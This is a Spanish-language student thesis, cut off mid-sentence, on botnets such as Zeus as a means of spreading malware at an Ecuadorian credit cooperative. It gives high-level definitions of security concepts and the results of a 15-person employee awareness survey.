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CAPITULO |

1 EL PROBLEMA

1.1 Tema de Investigacion:
Estudio y evaluacién de las Botnet como medio de propagacién de malware para
detectar la inseguridad de la informacion en los computadores de los empleados de la

Cooperativa de Ahorro y Crédito Oscus Ltda.

1.2 Planteamiento del Problema

1.2.1 Contextualizacion.

Las botnets (conjunto de robots informaticos o bots, que se ejecutan de manera
auténoma y automatica.) que permiten realizar ataques de phishing, monitorear las
zombis (computadores que han sido infectadas por esta botnet) en tiempo real y

recolectar toda esa informacion a través de diferentes protocolos.

Estas actividades agresivas que fundamentalmente proponen metodologias para
obtener informacion confidencial de las computadoras comprometidas, cuentan
actualmente con un amplio repertorio de paginas falsas de entidades bancarias y
financieras destinadas exclusivamente a la recoleccion de informacion mediante

phishing.



Zeus es un ejemplo clésico de botnet, pues éste tiene la posibilidad de contar con un
maodulo de monitoreo por el cual el botmaster puede estar visualizando en tiempo real
absolutamente todo lo que se realiza en el computador zombi (navegacion por
servicios de webmail, transacciones bancarias, conversaciones por chat, etc.), supone

un grave peligro que atenta directamente contra la confidencialidad.

Y aunque para muchos parezca una cuestion trivial, el solo hecho de saber que su
desarrollador actualiza cada version de Zeus, desde el afio 2007, aproximadamente

una vez por mes.

Pero sin embargo, a pesar de todo esto, ain hoy parece que no se valoran en su justa
medida las implicancias de seguridad que tienen implicitas las actividades, no solo de
Zeus sino de cualquiera de las alternativas Crimeware que dia a dia bombardean

Internet con sus acciones delictivas.

En Rusia con una actividad de tres meses, cuenta con una cantidad de 24.830 zombis.
Algo asi como casi 276 infecciones de Zeus por dia. Y si seguimos la ldgica,

estadisticamente hablado, la cantidad se podria cuadruplicar a lo largo del afio.

Durante el mes de febrero del 2007 se dio a conocer un informe sobre la capacidad
delictiva de una botnet creada a través del troyano Zeus y denominada con el nombre
de Kneber.

Si bien durante el mes de febrero, la noticia que anunciaba la existencia de una
supuesta nueva botnet conocida como Kneber, con aproximadamente 75000
computadoras reclutadas, causo gran conmocion a nivel medidtico, lo cierto es que se

traté de una botnet Zeus con una cantidad de equipos zombis promedio.

Sin embargo, el alto indice de infeccién que se da a través de las botnets es un

Ilamado de atencién para todos aquellos usuarios y compafias que no implementan



mecanismos de seguridad eficientes por medio del uso de herramientas de seguridad
proactivas y la capacitacion del personal corporativo en materia de seguridad

informatica.

Hoy en dia la mayoria de los codigos maliciosos se encuentran disefiados con la
intencion de reclutar computadoras zombis que luego formaran parte de alguna
botnet. Es por este motivo que resulta sumamente importante, especialmente para las
empresas y organismos gubernamentales, mantener politicas de seguridad efectivas y
contar con herramientas de proteccion actualizadas y eficientes para combatir las
amenazas de estos tiempos”, comenta Jorge Mieres, Analista de Seguridad de ESET

Latinoamérica.

A nivel de nuestro pais y en nuestra ciudad no se han hecho estudios sobre este tipo
de infiltraciones, lo que propone a este tema de tesis como de gran ayuda para

determinar el riesgo de contagio que tienen los usuarios informaticos.

En la Cooperativa de Ahorro y Crédito “OSCUS” Ltda. si bien no existen trabajos
propuesto con este tema, existen investigaciones relacionadas a la seguridad
informatica. Los ataques de denegacidn de servicio, infiltraciones de Spam en correos
electronicos, robos de informacion es lo que se pretende evitar con esta investigacion,
disminuir la posibilidad de que este tipo de infiltraciones tengan éxito y provocar
pérdida de informacion en la institucion. Por otro lado el personal se encuentra con un
alto grado de desconocimiento en cuanto a este tipo de ataques lo que facilita que

estas infiltraciones ingresen a los computadores de los usuarios.

Para el estudio de las botnets me voy a centrar en el estudio de la Botnet Zeus, pues
ésta botnet es la mas medidtica y la que méas dafios ha provocado a nivel mundial en

los Ultimos anos.



1.2.2 Anélisis Critico
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Figura 1 Arbol del problema
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La inestabilidad de los sistemas operativos provoca el libre ingreso de las botnets,
pues al no ser un sistema estable, el mismo deja puertas traseras y puertos del
computador de libre ingreso conllevando con esto la infeccion de los computadores
con software dafiino.

De igual manera los Antivirus piratas o desactualizados no brindan la proteccion
debida pasado ya un tiempo, asi como también los antivirus de versiones libres no
proveen una total proteccion, pues para ello requieren que se adquiera las licencias
bajo paga, lo cual tampoco nos garantiza en un cien por ciento bloquear las

intromisiones de codigo no deseado.

Hace unos cuatro afios atrds, los ataques a computadores por medio de cédigo
malicioso o Malware en el Ecuador no fue muy notorio; sin embargo en los Gltimos
afios los ataques de Malware a empresas publicas, privadas han hecho eco por los
perjuicios que causan a dichas empresas: robos de contrasefias, infeccion de

computadores y disminucion de ancho de banda de los servicios de Internet.

Uno de los ataques de Malware mas conocidos es el de envio de correos masivos;
muchos de nosotros hemos recibido constantes y frecuentes correos de direcciones de
correo desconocidas; si lo abrimos estaremos expuestos a descargar el codigo
malicioso que posteriormente se encargara de controlar nuestra computador; en la
actualidad los servidores de correo electronico poseen sistemas antispam que se
encargan de detectar este tipo de infecciones y enviarlas a una carpeta para

posteriormente revisarlos.

Otro de los puntos a tomar en cuenta es que el Malware (c6digo malicioso) cada vez
es menos indetectable pues el mismo utiliza diferentes y nuevos métodos de
ocultamiento; lo que impide que sea detectado por el sistema operativo y peor aun el
antivirus, que si bien las actualizaciones de sus bases de datos virales son a diario, no

detecta la presencia del malware; lo que nos pone a pensar que si el antivirus; que es



el software encargado de realizar el bloqueo a este tipo de cddigo malicioso no logra

hacerlo entonces de qué manera podemos proteger la integridad de nuestros datos.

1.2.3 Prognosis.

Si no se llega a concluir este estudio y evaluacion de las botnets, las mismas seguiran
siendo un problema para los usuarios internos de la Cooperativa de Ahorro y Crédito
“OSCUS” Ltda. quienes no tienen una idea clara de lo que son las botnets, por lo

tanto estar propensos a la pérdida, robo y uso malintencionado de la informacién.

1.2.4 Formulacion del Problema.

¢De qué manera las Botnet como medio de propagacion de malware vulneran la
seguridad de la informacion en los computadores de los empleados de la Cooperativa
de Ahorro y Crédito Oscus Ltda. ?

1.2.5 Preguntas Directrices.

¢Como evaluar y estudiar a las botnet como medio de propagacion de Malware en los
computadores de los empleados de la Cooperativa de Ahorro y Crédito Oscus Ltda.
¢Para qué analizar el impacto de las botnet como medio de propagacion de Malware?
¢Cdémo diagnosticar la propagacion de malware?

¢Por qué desarrollar manual del correcto uso de correo electronico recolectando

informacion que minimice la propagacion de Malware?

1.2.6 Delimitacién del Problema.

Campo: Cientifico basado en la tecnologia informatica

Area: Seguridad Informatica.

Aspecto: Malware

Tiempo: Durante 12 meses a partir de la aprobacién del proyecto.
Espacio: Cooperativa de Ahorro y Crédito “OSCUS” Ltda.



1.3 Justificacion

El motivo por el cual se ha decidido estudiar y analizar este problema radica en que;
las botnet como tal es un virus que se infiltra en las computadores de los usuarios,
provoca multitudinarias pérdidas no solo de indole econdmico; ademas este factor
pasa a ser secundario cuando hablamos de pérdida de informacion, en la ciudad de
Ambato no se han hecho estudios sobre este tipo de infecciones en la ciudad mucho
menos en la Cooperativa de Ahorro y Crédito “OSCUS” Ltda. ; es muy importante el
conocer que medios utiliza este software dafiino para infiltrarse y no ser detectado,
que pérdidas puede llegar a provocar si no es detectado y eliminado a tiempo; de qué
forma podemos evitar estas intrusiones no deseadas teniendo un entendimiento

completo y especifico sobre el tema.

Ademas con este andlisis y evaluacion se pretende elaborar métodos para que los
usuarios de la Cooperativa puedan combatir, controlar y eliminar de manera mucho
mas efectiva a este tipo de intrusiones que tanto mal causan no solo a nivel mundial;
sino que también producen estragos en nuestra ciudad y realmente este tipo de
estudios no han sido elaborados como tema de importancia; cuando realmente lo es y

merece un espacio de estudio adecuado.

Con el estudio de las intromisiones de cddigo maliciosos se comprenderia de mejor
manera el funcionamiento las de botnet, las diferentes maneras que tienen de
ocultarse y que tan facil infectan a las computadores de los usuarios de la Cooperativa
de Ahorro y Crédito “OSCUS2 Ltda.

Los Beneficiarios de este proyecto seran los usuarios internos de la Cooperativa de
Ahorro y Crédito “OSCUS” Ltda. ya que la informacion de los mismos serd mas

confiable y viable de enviar a cualquiera de los puntos dentro de la empresa.

Es factible pues la empresa antes mencionada presta todos los servicios humanos y

tecnologicos que se requiere para la presente investigacion.



1.4 Objetivos:

1.4.1 General.

e Determinar la incidencia de las botnet como medio de propagacion de Malware
en la seguridad de la informacion de los computadores de los empleados de la
Cooperativa de Ahorro y Crédito “OSCUS” Ltda.

1.4.2 Especificos.

e Analizar el impacto de las botnet como medio de propagacién de Malware.

e Determinar el nivel de seguridad de la informacion de los computadores de la
Cooperativa de Ahorro y Crédito “OSCUS” Ltda.

e Desarrollar un manual del correcto uso de correo electrénico y actualizaciones de

software para minimizar la propagacion de Malware.



CAPITULO Il.

2 MARCO TEORICO.

2.1 Antecedentes Investigativos

Después de realizar la Investigacion en los archivos de la Facultad de Ingenieria en
Sistemas, Electrdnica e Industrial de la Universidad Técnica de Ambato, no se da

conocer trabajos de investigacion similares al tema propuesto.

2.2 Fundamentacion Legal.
CONSTITUCION DE LA REPUBLICA DEL ECUADOR
Seccion tercera
Comunicacion e Informacion
Art. 16.- Todas las personas, en forma individual o colectiva, tienen derecho a:
1. Una comunicacion libre, intercultural, incluyente, diversa y participativa, en todos
los ambitos de la interaccion social, por cualquier medio y forma, en su propia lengua
y con sus propios simbolos.
2. El acceso universal a las tecnologias de informacién y comunicacion.
3. La creacion de medios de comunicacion social, y al acceso en igualdad de
condiciones al uso de las frecuencias del espectro radioeléctrico para la gestiéon de
estaciones de radio y television publicas, privadas y comunitarias, y a bandas libres
para la explotacion de redes inalambricas.
4. El acceso y uso de todas las formas de comunicacion visual, auditiva, sensorial y a

otras que permitan la inclusién de personas con discapacidad.



5. Integrar los espacios de participacion previstos en la Constitucién en el campo de
la comunicacion.
Seccidn octava

Ciencia, tecnologia, innovacion y saberes ancestrales

Art. 385.- El sistema nacional de ciencia, tecnologia, innovacion y saberes

ancestrales, en el marco del respeto al ambiente, la naturaleza, la vida, las culturas y

la soberania, tendra como finalidad:

1. Generar, adaptar y difundir conocimientos cientificos y tecnologicos.

2. Recuperar, fortalecer y potenciar los saberes ancestrales.

3. Desarrollar tecnologias e innovaciones que impulsen la produccion nacional,
eleven la eficiencia y productividad, mejoren la calidad de vida y contribuyan a la

realizacion del buen vivir.
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2.3 Fundamentacion Tedrica.
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Figura 2 Categorizacion de variables

Elaborado por: Investigador
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2.3.1 Categorizacion Fundamental de la Variable Independiente:

2.3.1.1 Virus.

Es un pequefio programa escrito intencionalmente para instalarse en la computadora
de un usuario sin el conocimiento o el permiso de éste. Se dice que es un programa
parasito porque ataca a los archivos o sector de arranque (boot sector) y se reproduce

a si mismo para continuar su esparcimiento. (Castillo, 2011)

Es un segmento de codigo de programacion que se implanta a si mismo en un archivo
ejecutable y se multiplica sistematicamente de un archivo a otro.

Pequefio segmento de cddigo ejecutable escrito en ensamblador o lenguaje de macro,
capaz de tomar el control de la maquina o aplicacién en algin momento y auto

replicarse, alojandose en un soporte diferente al que se encontraba originalmente.

2.3.1.2 Medios de Transmision.

Internet

El internet si bien es el medio de difusion de informacion mas grande en el mundo, de
la misma manera es el medio por el cual se propagan los virus de manera mas rapida
en los computadores, ya sea por el uso de aplicaciones infectada, redes sociales,

juegos, etc. (Wikipedia, internet, 2012)

Correo electronico.

Uno de los mas importantes medios de comunicacién en la actualidad es el correo
electronico. Mediante él podemos enviar informacion en tiempo real a cualquier
destinatario en cualquier lugar del mundo. Eso lo convierte en una poderosa
herramienta, y a su vez en un peligro potencial. Eso es lo que permite, por ejemplo,
que insertemos un archivo grafico de firma o una imagen de fondo a nuestros correos.

Pero es también lo que abre la puerta a los virus de correo. (Cofrades, 2012)
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Mensajeria.

Al usar un programa de mensajeria instantanea (MI), como, por ejemplo, Windows
Live Messenger(antiguamente conocido como MSN Messenger), Windows
Messenger, AOL Instant Messenger, Yahoo Messenger u otros, puede intercambiar
mensajes con amigos y verlos de forma casi inmediata.

Dado que la mensajeria instantanea (MI) es tan popular, los creadores de virus

pueden usarla para distribuir programas malintencionados. (Microsoft, 2012)

Uso de Puertas transparentes o errores de configuracion.

Cuando ocurren errores de programacion, los administradores de un sistema dejan
habilitadas las opciones de puertas invisibles llamados “back doors” para poder
acceder al mismo. Las caracteristicas mas comunes de este tipo de fallas al configurar
un sistema se debe a que el administrador de red permite el acceso libre a una
conexion por puertos como el 80 o 25 (telnet) que aprueba el acceso de cualquier
persona al sistema, y ademas libera ciertos programas al publico. (Cevallos Calderon,
2011)

RootKits.

Un RootKit tienen dos funciones: Comando/Control remoto (backdoor) y Software
“Furtivo” Un RootKit permite a alguien legitimo o no controlar una
computadora/server con derechos de administrador: Accesar o visualizar bitacoras
(logs), monitorear la actividad del usuario, ejecutar archivos de cualquier tipo y mas
aun, cambiar la configuracion de un sistema. (ECONSULTORES, 2010)

Redes P2P (Peer-to-peer)

Una red Peer-to-Peer o red de pares o red entre iguales o red punto a punto (P2P, por
sus siglas en inglés) es una red de computadoras en la que todos o algunos aspectos
funcionan sin clientes ni servidores fijos, sino una serie de nodos que se comportan
como iguales entre si. Es decir, actian simultaneamente como clientes y servidores

respecto a los demas nodos de la red. Las redes P2P permiten el intercambio directo
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de informacion, en cualquier formato, entre los computadores interconectados.
(Wikipedia, 2011)

2.3.1.3 Software de Seguridad.

Antivirus

Son programas cuyo objetivo es detectar y/o eliminar virus informaticos.Un antivirus
es un programa de computadora especializado en la deteccion y eliminacion de virus
informaticos.

La mejor manera de obtener una proteccion completa del antiviruso es tener

actualizado y debidamente legalizado él mismo (Wikipedia, 2011)

Antimalwares.
Software encargado de prevenir la intrusion de badware, cddigo maligno, software

malicioso o software malintencionado.” (Wikipedia, 2011)

AntiSpam

Método para prevenir el "correo basura™ (spam = correo electrénico basura).” Tanto
los usuarios finales como los administradores de sistemas de correo electronico
utilizan diversas técnicas contra ello. Algunas de estas técnicas han sido incorporadas
en productos, servicios y software para aliviar la carga que cae sobre usuarios y
administradores. (Wikipedia, 2011)

IDS

Un sistema de deteccion de intrusos (o IDS de sus siglas en inglés Intrusion Detection
System) es un programa usado para detectar accesos no autorizados a un computador
0 a una red. Estos accesos pueden ser ataques de habilidosos crackers, o de Script
Kiddies que usan herramientas automaticas.

El IDS suele tener sensores virtuales (por ejemplo, un sniffer de red) con los que el

nucleo del IDS puede obtener datos externos (generalmente sobre el trafico de red).
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El IDS detecta, gracias a dichos sensores, anomalias que pueden ser indicio de la

presencia de ataques o falsas alarmas. (Wikipedia, 2012)

IPS

Un Sistema de Prevencidn de Intrusos (IPS) es un dispositivo que ejerce el control de
acceso en una red informatica para proteger a los sistemas computacionales de
ataques y abusos. La tecnologia de Prevencion de Intrusos es considerada por algunos
como una extension de los Sistemas de Deteccion de Intrusos (IDS), pero en realidad
es otro tipo de control de acceso, més cercano a las tecnologias cortafuegos.
(Wikipedia, 2012)

2.3.1.4 Botnet como medio de propagacion de Malware.

Es un tipo de Malware (codigo malicioso) que se oculta, infecta, propaga y ataca a
través de diferentes medios de comunicacion a los usuarios; obteniendo con esto
dafar a la victima o perjudicarla de diferentes maneras: robo de informacion,

denegacion de servicios, disminucion de ancho de banda, etc. (Hernandez, 2011)

Denegacion de servicio

En seguridad informatica, un ataque de denegacion de servicio, también llamado
ataque DoS (de las siglas en inglés Denial of Service), es un atague a un sistema de
computadoras o red que causa que un servicio 0 recurso sea inaccesible a los usuarios
legitimos. Normalmente provoca la pérdida de la conectividad de la red por el
consumo del ancho de banda de la red de la victima o sobrecarga de los recursos

computacionales del sistema de la victima. (Wikipedia, 2011)
Ocultamiento Eficaz (Virus)
La mayoria de los virus se ocultan en el registro de Windows, de ahi que sean tan

dificiles de eliminar al 100%, una persona que domine la edicién del registro de

Windows tiene una gran posibilidad de eliminar o minimizar el dafio del virus.
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Detectarlos es fécil, lentitud de la méaquina, lentitud en la conexion a internet,
actividad del pc aun cuando esta inactiva, intentos de conexién a internet de X
programa, cosas asi.

Una forma facil de ver que esta haciendo la pc es usar algin software de monitoreo
del tipo del process explorer, asi se ven todas las actividades de la pc, aun los

procesos del sistema y entre ellos los procesos de los virus.” (Martinez, 2011)

2.3.2 Categorizacion Fundamental de la Variable Dependiente.

2.3.2.1 Informacion.

La informacion es un conjunto organizado de datos procesados, que constituyen un
mensaje que cambia el estado de conocimiento del sujeto o sistema que recibe dicho
mensaje.

Los datos sensoriales una vez percibidos y procesados constituyen una informacion
que cambia el estado de conocimiento, eso permite a los individuos o sistemas que
poseen dicho estado nuevo de conocimiento tomar decisiones pertinentes acordes a
dicho conocimiento. (Welsh, 2010)

La informacién es un conjunto organizado de datos, que constituye un mensaje sobre
un cierto fendmeno o ente. La informacion permite resolver problemas y tomar
decisiones, ya que su uso racional es la base del conocimiento. Por lo tanto, otra
perspectiva nos indica que la informacién es un fendmeno que aporta significado o
sentido a las cosas, ya que mediante codigos y conjuntos de datos, forma los modelos
de pensamiento humano. La informacién son todos aquellos datos ordenados,
valiosos que utilizamos a diario en nuestras labores; tanto personales como
profesionales (Wikipedia, 2012)
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2.3.2.2 Seguridad de la Informacion.

Se entiende por seguridad de la informacion a todas aquellas medidas preventivas y
reactivas del hombre, de las organizaciones y de los sistemas tecnoldgicos que
permitan resguardar y proteger la informacién buscando mantener la
confidencialidad, la disponibilidad e Integridad de la misma. (An6nimo, Seguridad de

la informacién)

El concepto de seguridad de la informacion no debe ser confundido con el de
seguridad informatica, ya que este ultimo sélo se encarga de la seguridad en el medio
informatico, pudiendo encontrar informacion en diferentes medios o formas.
international, Santa Fe Associates . (international, Seguridad de la informacién, 2010)
La informacion que esta basicamente:

* Impresa.

* Escrita en papel.

» Almacenada electronicamente.

* Transmitida por correo o utilizando medios electrénicos.

* Presentada en imagenes.

« Expuesta en una conversacion.

* En el conocimiento de las personas.

2.3.2.3 Métodos de Seguridad.

Sistemas de encriptacion

La encriptacion en computadores, esta basada en la ciencia de la criptologia, que ha
sido usada a través de la historia con frecuencia. Antes de la era digital, los que mas
hacian uso de la criptologia, eran los gobiernos, particularmente para propoésitos
militares. La existencia de mensajes codificados han sido verificados desde los
tiempos del imperio romano. Hoy en dia, la mayoria de los sistemas de criptografia
son aplicables a computadores, simplemente porgue la complejidad de los algoritmos
es demasiada para ser calculada por seres humanos. (Cosme, 2009)

Muchos de los sistemas de encriptacion pertenecen a dos categorias:
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e Encriptacion de clave simétrica.

e Encriptacion de clave publica.

2.3.2.4 Robo de Informacion.

El robo de informacion es una de las peores amenazas para las organizaciones; Y, sin
embargo, los ejecutivos le han delegado este problema a terceros.

Para disminuir el robo de informacion es recomendable lo implementar lo siguiente:
1. Implementar rigurosos procesos Yy politicas de retencion de informacion: estas
reglas deberian establecer explicitamente qué informacién puede ser almacenada,
doénde puede ser almacenada (PC, portéatiles, etc.) y cémo debe ser almacenada
(cifrada o no). Estas politicas deben incluir no sélo informacidn financiera sino todo
tipo de informacién (clientes, empleados, proveedores). Ademas, debe haber un
procedimiento claro para deshacerse de informacién obsoleta tan pronto como sea
posible.

2. Asignar recursos, como dinero, personal y tiempo: esto supondra posponer otras
iniciativas de TI. Los CEO deben estar pendientes de que el programa de
almacenamiento seguro de informacion no sea relegado a un segundo plano.

3. Transparencia: a los usuarios se les debe decir explicitamente que la decision de
proteger la informacion proviene del CEO y que la gerencia de Tl es simplemente la

encargada de implementar el programa de proteccion. (Tillmann, 2006)

2.3.2.5 Intromisiones Informaticas.

Conectarse a la red no representa un riesgo por si solo, el peligro inicia cuando una
persona, al igual que en la calle, transita por zonas donde existe la delincuencia. En
ultimas fechas, se ha detectado un incremento de delitos asociados con el fraude,
principalmente en las empresas de subastas. El robo de informacion en el sistema
financiero provocado por la clonacion de tarjetas de crédito y el uso fraudulento de

sefiales satelitales, se suma a la lista de delitos por perseguir” (Lopez, 2011)
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2.3.2.6 Inseguridad de la Informacion en los computadores.
Toda aquella informacion que no posee medidas preventivas provistas por el hombre,
empresas 0 sistemas tecnologicos: los mismos que no la resguarden y protejan; que

no tenga la debida confidencialidad, la disponibilidad e integridad.

2.4 Hipdtesis.

Botnet como medio de propagacién de malware influiria en la seguridad de la
informacion en los computadores de los empleados de la Cooperativa de Ahorro y
Creédito “OSCUS” Ltda.

2.5 Sefalamiento de variables

V. Independiente = Botnet como medio de propagacién de malware

V. Dependiente =Seguridad de la informacion
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CAPITULO Il

3 MARCO METODOLOGICO.

3.1 Enfoque.

Por cuanto las técnicas cualitativas permitieron conocer, analizar y recolectar
informacion, opiniones y criterios de las personas del personal de la Cooperativa de
Ahorro y Crédito “OSCUS” Ltda.

Permitiendo de esa forma a la investigacion tener una orientacion, percepcion y
perspectiva clara del problema, con el objetivo de contextualizar lodo lo relacionando

al problema.

Es cuantitativo porque para el analisis de la informacion obtenida mediante encuestas
al personal de la Cooperativa acerca de las botnets se las puede usar herramientas

estadisticas.

3.2 Modalidades bésicas de la investigacion.
La presente investigacion tiene las siguientes modalidades:

Modalidad bibliografica o documentada: se ha considerado esta modalidad ya que

se ha utilizado libros electrénicos, tesis de grado, informes, libros, repositorios

virtuales para recolectar informacion acerca de los ataques de las botnets.
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Modalidad Experimental: se ha considerado la relacion de la variable independiente
Botnet como propagacion de Malware y su influencia y relacion en la variable
dependiente seguridad de informacién, por cuanto la variable independiente influiria
en la seguridad de la informacidn en los computadores de la Cooperativa de Ahorro y
Crédito “OSCUS” Ltda.

Modalidad de campo: se ha considerado esta modalidad ya que el investigador ira a
recoger la informacion primaria directamente al personal de la Cooperativa de Ahorro
y Crédito “OSCUS” Ltda. a través de una encuesta.

3.3 Tipos de investigacion.

Se ha realizado la investigacion exploratoria, ya que permitio plantear el problema de
la investigacion ¢Como el insuficiente estudio y evaluacion de las botnet como medio
de propagacién de malware incide en la inseguridad de la informacion en las
computadores de los usuarios de la Cooperativa de Ahorro y Crédito “OSCUS Ltda.”

Como de la misma manera ayudo a plantear la hipotesis. La aplicacién de un estudio
y evaluacion de las botnet como medio de propagacién de malware evitara la
inseguridad de la informacién en los computadores de los empleados de la
Cooperativa de Ahorro y Crédito “OSCUS” Ltda.

Se ha considerado la investigacion descriptiva porque permitié analizar el problema
en sus partes; como delimitar en tiempo y en espacio, construyendo el analisis critico,
la contextualizacion y los antecedentes investigativos.

Por otro lado se ha tomado la investigacion correlacional ya que ha permitido medir

la compatibilidad de la variable independiente con la variable dependiente.
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3.4 Poblacion y muestra

La poblacion considerada para la presente investigacion son los usuarios de la
Cooperativa de Ahorro y Crédito “OSCUS LTDA” y el personal del departamento de
Sistemas. En un total de 13 personas del area administrativa y 2 personas del area de
Sistemas dandonos un total de 15 personas.
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3.5 Operacionalizacion de variables.

Variable independiente =

Botnet como medio de propagacion de malware

Concepto Categorias Indicadore items Técnicas e
S Instrumento
Botnet Es wun tipo de | Malware. Tipos, ¢Qué tipo de malware ha | A traves de
Malware (codigo malicioso) técnicas, evidenciado en su | cuestionarios a los
que se infecta y propaga a amenazas empresa? empleados de la
través de diferentes medios | Botnet cooperativa  Oscus
L ¢Sabe ud lo que es una
de comunicacion a los Ltda.
. . botnet?
usuarios; pretendiendo con Personal
esto dafiar a la victima o | Robo de Informacion L aboral ¢Ha sido victima de robo
abora
perjudicarla de diferentes de informacion personal o | A través de
maneras: robo de laboral en su empresa? cuestionarios a los
informacion, denegaciéon de empleados de la
Expertos, _
servicios, disminucion de . ) cooperativa  Oscus
Usuarios inexpertos
ancho de banda, etc. ¢Se le ha denegado los | Ltda.
permisos de red,
impresion, etc.?
Red,
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Denegacion de

Servicios

Disminucién de ancho
de banda.

Infecta

Propaga

Audio, Chat

Si

no

correos

documentos

Si

no

¢Ha notado lentitud en su

conexion de internet?

Se  han infectado con
virus sus archivos de uso

comun?

¢Ha

archivos antiguos se han

notado que sus

infectado con el virus?

A traves de
cuestionarios a los
empleados de la
cooperativa  Oscus

Ltda.

Tabla 1 Operacionalizacion Variable Independiente

Elaborado por: Investigador
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Variable dependiente = Seguridad de Informacion

Concepto Categorias Indicadores Items Técnicas e
Instrumento
Toda aquella informacién | Medidas preventivas Cuentas ¢Qué Servidor de Correo
que posee medidas Correo Electrénico utiliza?
] ] o Encuesta.
preventivas provistas por el Electronico
hombre, empresas o sistemas | Sistemas tecnoldgicos _
. ) Claves ¢Considera Usted que la
tecnolégicos: los mismos que _ .
) o informacion de su
no la resguarden y protejan; Cadigos ]
computador estd segura
que no tenga la debida | Resguarden, protegen i _ Encuesta
) o Si, no contra los delitos
confidencialidad, la _ L
) o ) ) informaticos?
disponibilidad e integridad. Datos
) » Encuesta
informacion

Disponibilidad

Discos Duros

CDS

¢Estan a su alcance
dispositivos para resguardo

de informacion?

Tabla 2 Operacionalizacion Variable Dependiente

Elaborado por: Investigador.
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3.6 Recoleccion y andlisis de informacion.

SECUNDARIA PRIMARIA
e Se recolecta de estudios e Se recolecta directamente
realizados anteriormente. a través del contacto
e Se encuentra registrada en directo con los
documentos 'y material empleados de la
impreso como libros, libros Cooperativa de Ahorro y
electrénicos. Crédito “Oscus” Ltda,
e Las fuentes de informacion mediante encuestas
son: bibliotecas, acerca de las botnets y la
hemerotecas, archivos, seguridad de la
centros de documentacion, Informacion.
internet.

Tabla 3 Recoleccion y andlisis de informacion.
Elaborado por: investigador

Técnicas de investigacion.

BIBLIOGRAFICAS DE CAMPO

El analisis de documentos e Laencuesta.

(lectura cientifica).

Tabla 4 Tecnicas de Investigacion
Elaborado por: Investigador.

Recoleccion de la informacion.

PREGUNTAS EXPLICACION

1. ¢Para qué? Redactar informacion
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primaria para
comprobar y contrastar

con la hipdtesis

2. ¢A que personas o0

sujetos?

A los empleados de la
cooperativa Oscus
Ltda.

3. ¢Sobre qué aspectos?

VI: Botnet como medio
de propagacion de
malware.

VD: Seguridad de

Informacioén.

4. (Quién?

Investigador(a)

5. ¢Cuando?

De acuerdo al

cronograma establecido

6. ¢Lugar de recoleccién

de la informacion?

Coop. Oscus Ltda.

7. ¢Cuantas veces?

1 sola vez

8. ¢Qué técnica

recoleccion?

Encuesta

9. ¢Con quée?

Cuestionario

10. ¢En qué situacién?

Situacion Normal vy

cotidiana.

Tabla 5 Recoleccién de Informacion

Elaborado por: Investigador
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3.7 Procesamiento y analisis de la informacién.
e Anélisis de los datos.
La presentacion de los datos se hara a través de un resumen por cada

pregunta de la encuesta realizada a los usuarios de la Cooperativa de
Ahorro y Crédito “OSCUS” Ltda.

e Interpretacion de los resultados.
o Estudiar cada uno de los resultados por separado.

o Redactar una sintesis e interpretacion cualitativo general de los
resultados.
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4 ANALISIS E INTERPRETACION DE RESULTADOS.

CAPITULO IV

1. ¢ Sabe usted lo que es una Botnet?

ITEMS FRECUENCIA %
1 S| 0 0
2 NO 15 100
TOTAL 15 100

Tabla 6 Tabulacion de la Pregunta 1

Elaborado por: Investigador

Pregunta 1

0

mSsl
HNO

Figura 3 Resultados Pregunta 1

Elaborado por: investigador.

ANALISIS EN INTERPRETACION

El 100% de los encuestados que representa a 15 personas desconocian el significado
de botnet. Segun ArCERT, Una botnet para formarse y poder crecer debe acumular
zombis. Para convertir una maquina de la red en zombi, debe ser atacada e infectada,
para luego ser incorporada a la botnet. Cuantos mas zombis disponga el duefio de la

botnet mas impacto podré tener en Internet.

29



2) ¢Ha notado que sea infectado la informacion de su computador con virus?

ITEMS FRECUENCIA %

1 SI 8 53

2 NO 7 47

TOTAL 15 100

Tabla 7 Tabulacion Pregunta 2
Elaborado por: Investigador
Pregunta 2

ms|
ENO

Figura 4 Resultados Pregunta 2

Elaborado por: Investigador

ANALISIS EN INTERPRETACION
El 53% de los encuestados que representan a 8 personas manifestaron que han notado
que su maquina ultimamente se han contagiado de virus, mientras que un 47% que

representa a 7 personas no notaron infecciones virales en su pc.

Segun ISECOM El virus de sector de arranque fue el primer virus en ser creado. Se
esconde en el cddigo ejecutable del sector de arranque de los discos de arrangue, lo
que significaba que para infectar un ordenador habia que iniciarlo desde un diskette
de arranque infectado.
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3) ¢ Qué Antivirus utiliza Ud.?

ITEMS FRECUENCIA %
1 Avast 4 27
2 Nod32 0 -
3 AVG 0 -
4 Karspersky 0 -
5 MCAfee 11 73
TOTAL 15 100

Tabla 8 Tabulacion Pregunta 3

Elaborado por: Investigador

Pregunta 3

H Avast

M Nod 32

o Avg

M Kaspersky
B MCAfee

Figura 5 Resultados Pregunta 3

Elaborado por: Investigador

ANALISIS EN INTERPRETACION

Un 27% de los encuestados que representan a 4 personas manifiestan que utilizan
Avast como antivirus, el 73% que representa a 11 personas MCAfee como antivirus.
Segun wikipedia los antivirus son programas cuyo objetivo es detectar y/o eliminar
virus informaticos.Un antivirus es un programa de computadora especializado en la
deteccion y eliminacion de virus informaticos.

La mejor manera de obtener una proteccion completa del antivirus es tener

actualizado y debidamente legalizado él mismo.
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4) ¢Desearia cambiar su Antivirus Actual?

ITEMS FRECUENCIA %

1 S| 5 33

2 NO 10 67

TOTAL 15 100

Tabla 9 Tabulacién Pregunta 4
Elaborado por: Investigador
Pregunta 4

mSi
H No

Figura 6 Resultados Pregunta 4
Elaborado por: Investigador

ANALISIS EN INTERPRETACION

El 33% de los encuestados que representa a 5 personas manifiestan que desearian
cambiar su antivirus actual, mientras que el 67% que representa a 10 personas
manifiestan que no desean cambiar su antivirus actual.

Segun Wikipedia. Los antivirus gratuitos poseen menos potencial en cuanto a
deteccidn de virus, mientras que los pagados poseen una mejor proteccién pues sus
bases de datos se actualizan constantemente.
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5) ¢El antivirus que usa actualmente es original?

ITEMS FRECUENCIA %
1 Si 12 80
2 No 0 -
3 No se 3 20
TOTAL 15 100

Tabla 10 Tabulacién Pregunta 5

Elaborado por: Investigador

Pregunta 5

S
H No

No se

Figura 7 resultados pregunta 5

Elaborado por: Investigador

ANALISIS EN INTERPRETACION
Un 80% de los encuestados que representan a 12 personas manifiestan su antivirus es

original, el 20% que representa a 3 personas no saben si su antivirus es original.

Segun Wikipedia los antivirus son programas cuyo objetivo es detectar y/o eliminar
virus informaticos. Un antivirus es un programa de computadora especializado en la
deteccion y eliminacion de virus informaticos.

La mejor manera de obtener una proteccion completa del antivirus es tener

